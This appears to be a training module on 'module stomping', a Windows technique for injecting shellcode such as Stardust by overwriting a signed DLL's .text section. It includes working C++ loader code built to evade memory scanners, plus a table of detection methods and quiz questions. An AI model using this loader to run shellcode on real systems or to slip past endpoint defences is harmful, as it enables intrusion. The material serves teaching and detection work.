Module 9: Module Stomping
A loader-side injection technique for delivering shellcode like Stardust into memory.
Important Framing
Module stomping is not a feature of Stardust itself. It is a loader-side injection technique that can be used with Stardust (or any other shellcode). Stardust is the payload — the shellcode that gets executed. Module stomping is one way to deliver that payload into a target process's memory. Stardust includes a test harness (stomper.cc) that demonstrates this technique for testing purposes.
What Is Module Stomping?
Module stomping overwrites the .text (code) section of a legitimately loaded DLL with your shellcode. Instead of allocating new executable memory (which is suspicious), you reuse memory that already exists and is already marked as executable. From the perspective of memory scanners, the code appears to live inside a signed Microsoft DLL.
Why Not Just VirtualAlloc?
Calling VirtualAlloc with PAGE_EXECUTE_READWRITE to create new executable memory is the most common shellcode injection approach — and therefore the most monitored. Memory scanners specifically look for private executable regions that aren't backed by a file on disk. Module stomping avoids this by writing shellcode into memory that is backed by a legitimate DLL file, making it appear as normal loaded module memory.
The Module Stomping Flow
The stomper test harness demonstrates these steps:
Module Stomping: 7-Step Flow
Loads the sacrificial DLL without calling DllMain or resolving imports
Walk DOS header → NT headers → section headers → find ".text"
Change .text from RX to RW so we can write to it
Overwrite the DLL's original code with Stardust
Restore executable permissions (RX, not RWX)
Jump to RipStart — Stardust begins executing
Stomper Test Code Concepts
The stomper.cc test harness in the Stardust repository demonstrates these concepts. Here is a simplified representation of the key operations:
C++// Simplified stomper.cc concepts
// Step 1: Read the shellcode blob from disk
auto shellcode = read_file( "stardust.bin" );
// Step 2: Load a sacrificial DLL without initialization
// DONT_RESOLVE_DLL_REFERENCES prevents DllMain from running
// and skips import resolution - we don't need the DLL to function
HMODULE hMod = LoadLibraryExA(
"C:\\Windows\\System32\\chakra.dll",
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
// Step 3: Parse PE headers to find .text section
auto dos = (PIMAGE_DOS_HEADER)hMod;
auto nt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + dos->e_lfanew);
auto sec = IMAGE_FIRST_SECTION( nt );
void* textBase = nullptr;
size_t textSize = 0;
for ( int i = 0; i < nt->FileHeader.NumberOfSections; i++ ) {
if ( strcmp( (char*)sec[i].Name, ".text" ) == 0 ) {
textBase = (BYTE*)hMod + sec[i].VirtualAddress;
textSize = sec[i].Misc.VirtualSize;
break;
}
}
// Step 4: Make .text writable
DWORD oldProtect;
VirtualProtect( textBase, textSize, PAGE_READWRITE, &oldProtect );
// Step 5: Overwrite with shellcode
memcpy( textBase, shellcode.data(), shellcode.size() );
// Step 6: Restore to executable (RX, not RWX)
VirtualProtect( textBase, textSize, PAGE_EXECUTE_READ, &oldProtect );
// Step 7: Call the entry point
auto entry = (void(*)())textBase;
entry(); // RipStart executes here
Why chakra.dll?
The stomper test harness uses chakra.dll (the legacy Chakra JavaScript engine) as the sacrificial DLL. It's a good candidate because:
- Large .text section — plenty of room for shellcode (Stardust is relatively small)
- Microsoft-signed — the DLL's digital signature makes the memory region appear more legitimate to some scanners
- Rarely used — modern Windows applications use V8 (Chromium) or other engines, so stomping chakra.dll is unlikely to break anything in the process
- Ships with Windows — no need to drop an extra DLL; it's already on disk
Detection Considerations
Module stomping is not invisible. Defenders have several ways to detect it:
| Detection Method | How It Works | What It Catches |
|---|---|---|
| PE-sieve comparison | Compares the in-memory contents of a loaded DLL against the on-disk file | The stomped .text section won't match the original DLL's code, immediately flagging the modification |
| RWX transition monitoring | Monitors calls to VirtualProtect that change page permissions | The RX → RW → RX transition pattern on a loaded DLL is suspicious and can be logged by EDR hooks |
| LoadLibraryEx monitoring | Flags calls to LoadLibraryEx with the DONT_RESOLVE_DLL_REFERENCES flag | Legitimate code rarely uses this flag. Loading a DLL without resolving its imports suggests injection preparation |
| Code integrity checks | Periodically scans loaded modules for unexpected code modifications | Any loaded DLL whose .text section has been modified since loading |
Key Takeaway
Module stomping is a delivery mechanism, not a payload feature. Stardust (the payload) doesn't know or care how it was loaded — it works the same whether injected via module stomping, process hollowing, or any other technique. The stomper.cc test harness exists to demonstrate and test Stardust execution, not as a production loader.
Knowledge Check
Q1: Why is DONT_RESOLVE_DLL_REFERENCES used when loading the sacrificial DLL?
Q2: What is the primary advantage of module stomping over allocating new memory with VirtualAlloc?